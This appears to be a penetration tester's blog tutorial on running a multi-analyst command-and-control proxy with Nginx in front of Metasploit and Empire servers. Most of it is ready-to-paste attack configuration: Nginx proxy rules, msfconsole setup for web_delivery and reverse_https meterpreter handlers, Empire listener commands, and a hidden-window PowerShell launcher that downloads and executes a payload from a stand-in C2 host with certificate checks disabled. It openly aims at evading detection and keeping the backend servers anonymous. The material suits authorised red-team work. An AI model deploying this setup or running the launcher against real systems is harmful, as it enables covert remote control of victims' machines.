Multi-Tool Multi-User HTTP Proxy
Background
Many of the popular Command and Control (C2) tools today operate over HTTP (i.e. Metasploit and Empire). One of the reasons why HTTP is an effective protocol for C2 is because it is allowed on nearly every network in existence and is expected behavior from every network device. Additionally, using HTTP over TLS adds an additional layer of security for these tools because it makes inspecting the C2 traffic a challenge. Organizations properly configured with a web proxy that performs SSL/TLS inspection are better able to detect C2 traffic, but I don’t typically see this capability in organizations I have tested.
In order to look as normal as possible, HTTP C2 traffic should operate on ports 80 and 443. Any deviation, like using port 8080, will cause more suspicion then traffic over the standard ports. An interesting problem is that I like to use multiple tools on the same host. If I want to use Empire and Metasploit’s Web Delivery module all on the same box, I will need a total of three ports. I would likely use ports 80, 8080, and 443. However, I would like for all of my traffic to just go over port 443. We employ multiple security analysts here at Sword & Shield. I like the idea of having one host for all of the analysts to use as a type of C2 proxy. If I had three analysts, all wanting their own Empire and Metasploit listeners, I would need a total of nine ports.
This problem can be solved by creating a C2 proxy using Nginx as a reverse web proxy. This will allow for the use of a single web server that can handle multiple tools for multiple users all on one port as shown in the figure below. When setup is complete, proxy rules are used to split traffic off to each analyst’s C2 server on multiple ports. This configuration also allows the actual C2 server’s (the host being proxied) identity to remain a secret. In the event that the C2 proxy server is burned, a new instance can be stood up with a new hosting provider. Nginx can be quickly installed, configured, and operational again in no time.
Figure 1: Multi-User Multi-Tool C2 Proxy Architecture
Nginx Setup
To get started, spin up a copy of your favorite Linux distro in a VPS or on your own servers. I chose to use Ubuntu 16.10 in a VPS for this tutorial. Follow this tutorial to get Nginx up and running with a trusted SSL/TLS certificate: https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04. My server was only configured to allow traffic over port 443; port 80 wasn’t open at all.
Nginx needs to be configured so that the proxy knows what to do with incoming connections. To prevent success brute-force enumeration (or forced browsing) of valid URLs, each analyst is assigned a GUID. You can generate one from here: https://www.guidgenerator.com/. I generated the following GUIDs for three analysts:
Analyst | GUID | Backend C2 IP |
Gregory Evans | E0922BB0-684B-4ED3-967E-85D08880CFD5 | 1.2.3.4 |
Acid Burn | 30061CD8-0CEE-4381-B3F8-B50DCACA4CC8 | 1.2.3.5 |
Elliot Alderson | 6012A46E-C00C-4816-9DEB-7B2697667D92 | 1.2.3.6 |
#Analyst 1 location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ { proxy_redirect off; #Empire location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ { proxy_pass https://1.2.3.4:443; } #Metasploit location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ { #Metasploit exploit/multi/script/web_delivery location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery { proxy_pass https://1.2.3.4:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned { proxy_pass https://1.2.3.4:80; } } } #Analyst 2 location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ { proxy_redirect off; #Empire location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ { proxy_pass https://1.2.3.5:443; } #Metasploit location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ { #Metasploit exploit/multi/script/web_delivery location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery { proxy_pass https://1.2.3.5:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned { proxy_pass https://1.2.3.5:80; } } } #Analyst 3 location /6012A46E-C00C-4816-9DEB-7B2697667D92/ { proxy_redirect off; #Empire location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ { proxy_pass https://1.2.3.6:443; } #Metasploit location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ { #Metasploit exploit/multi/script/web_delivery location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery { proxy_pass https://1.2.3.6:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned { proxy_pass https://1.2.3.6:80; } } }
Nginx will need a way to distinguish requests for Metasploit from requests for Empire. I creatively came up with using an ‘m’ for Metasploit and an ‘e’ for Empire. A C2 request for the world’s #1 hacker to Empire would look like:
https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp
Now that the syntax of our incoming HTTP requests has been determined, Nginx needs to be configured to re-route each request to the appropriate analyst’s C2 proxy. This is done using the location directive in the Nginx configuration file at /etc/nginx/sites-enabled/default. For this post we will setup four location directives per analyst. The outer most directive will match that analyst’s GUID. The next two sub-location directives will be used to match the request to a specific tool (i.e. e for Empire and m for Metasploit). The Metasploit location directive contains two child location directives to match the incoming request to a particular module within Metasploit and its associated listener. The following configuration information can be pasted in the Nginx configuration file at /etc/nginx/sites-enabled/default in the SSL server section:
At this point, the C2 proxy should be up and running, accepting only TLS connections on port 443. With this configuration complete, the C2 tools need to be configured to accept the incoming traffic from our C2 proxy.
Metasploit Setup
Metasploit has a plethora of modules that can be used to establish a C2 connection to a victim computer. My personal favorite is to use the exploit/multi/script/web_delivery module as a launcher. I like this module because it can be ran a victim computer and will pull down meterpreter into memory. This is ideal because you can use built-in tools (i.e. PowerShell) and you don’t have to drop any files on to the victim computer. Load the Metasploit module and configure it with the URIPATH that was used in the Nginx configuration file (i.e. Delivery). The associated payload handler must be disabled because it will need to be configure separately to provide it with a unique configuration. When configuring this module, set the payload to windows/x64/meterpreter/reverse_https and set the LHOST and LPORT to the address and port of the C2 proxy server, not the backend C2 server. Additionally, set the LURI to match the directive that was setup within Nginx to match the payload (i.e. Pwned). The payload settings still have to be configured even though a listener will not be started. This is because those settings are used to generate the launcher command that is displayed on the screen when the module is executed. The following commands can be copied and pasted into msfconsole to configure and launch the module:
use exploit/multi/script/web_delivery set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery set DisablePayloadHandler true set SSL True set TARGET 2 set payload windows/x64/meterpreter/reverse_https set LHOST myc2proxy.com set LPORT 443 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned run -j
Figure 2: Metasploit web_delivery Module Example Configuration
When the module is executed, a string containing the launcher code will be printed to the screen. NOTE: The port must be changed from 8080 to 443. There is no way to override this setting. We must change it manually because our C2 proxy only accepts connections on 443. The launcher string will look like this (DELETE THE RED PART):
powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery');
A separate handler for the payload itself must be setup. This is because some of the settings have to be overridden to ensure the payload talks to the C2 proxy and not directly to the backend C2 server. To do so, set the LHOST to 0.0.0.0 and the LPORT to 80, or whatever port you want opened on your backend C2 server. We need to configure the advanced OverrideLHOST, OverrideLPORT, and OverrideRequestHost settings to ensure the payload talks directly to the C2 proxy server. The following commands can be copied and pasted into msfconsole to configure and launch the module:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 80 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned set OverrideLHOST myc2proxy.com set OverrideLPORT 443 set OverrideRequestHost true set ExitOnSession false run -j
Figure 3: Example reverse_https Payload Configuration
ProTip: Multiple meterpreter transports could be added to point to multiple C2 proxies in the event that one is burned.
Empire Setup
Empire is one of my favorite tools for C2. For this proxy setup, Empire has a few more obstacles to overcome then Metasploit did. With PowerShell Empire version 1, the initial connection sequence uses STAGE0, STAGE1, and STAGE2 which are defined in the config table of empire.db. To my knowledge, there is no way to change them from the Empire CLI, so the database has to be modified directly. However, PowerShell Empire version 2 (in beta at the time of this blog post) doesn’t use this architecture and the initial call back and setup is done over the pages specified in DefaultProfile listener attribute. I recommend downloading the 2.0_beta branch of Empire version 2. Grab a copy of the beta branch using git by running:
cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git
NOTE: There was a bug in the agent.ps1 file the prevents DefaultProfile from being set correctly when this post was written. A pull request was submitted. Depending on when this post is being read, the bug may have to be fixed manually.
With a fresh copy of Empire downloaded, launch the application. Empire doesn’t have the functionality to override settings like Metasploit does. Whatever port the Empire listener is created on must be same port that the C2 proxy is listening on. Therefore, Empire must be used over HTTPS on port 443. The good news is that the Host setting can be set to the address of the anonymous C2 proxy. It is very important that the DefaultProfile is modified to contain the analyst’s GUID and tool identifier. The commands below can be copied and pasted into Empire to setup a listener.
listeners uselistener http set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko set Name EmpireC2 set CertPath /opt/Empire/data/empire.pem set Host https://myc2proxy.com set Port 443 execute launcher powershell
Figure 4: Example Empire Listener Configuration
Execute
The Nginx C2 proxy is now configured along with an Anlayst’s back end C2 server. Execute one of the generated launchers on a test computer and you will see shells coming into the backend C2 server. For an added measure of security, configure your backend C2 server to only allow connections from your C2 proxy.
Conclusion
A proxy can be used to keep backend services anonymous. This is especially useful when performing Command and Control activities on a network. HTTPS connections are expected on most all networks and typically aren’t inspected. This helps Security Analysts fly under the radar when trying to evade detection. In the event that a hostname and/or IP are lost due to detection, a Security Analyst can standup a new reverse proxy and prevent from having to relaunch a Metasploit/Empire server. Additionally, a single hostname can be used by all members of a team for C2 but allow each Analyst to have their own backend C2 server. Nginx is a great tool to perform reverse proxy functions allowing for multiple tools and multiple analysts using its location directives. Happy hunting.
Russel Van Tuyl is the managing consultant for security assessments at Sword & Shield Enterprise Security. His primary role is conducting network vulnerability assessments and penetration tests but also performs web application assessments, firewall configuration audits, wireless assessments, and social engineering.
He has more than 11 years of experience in the technical field in roles such as database design, field device support, help desk, IT asset management, programming, and information security.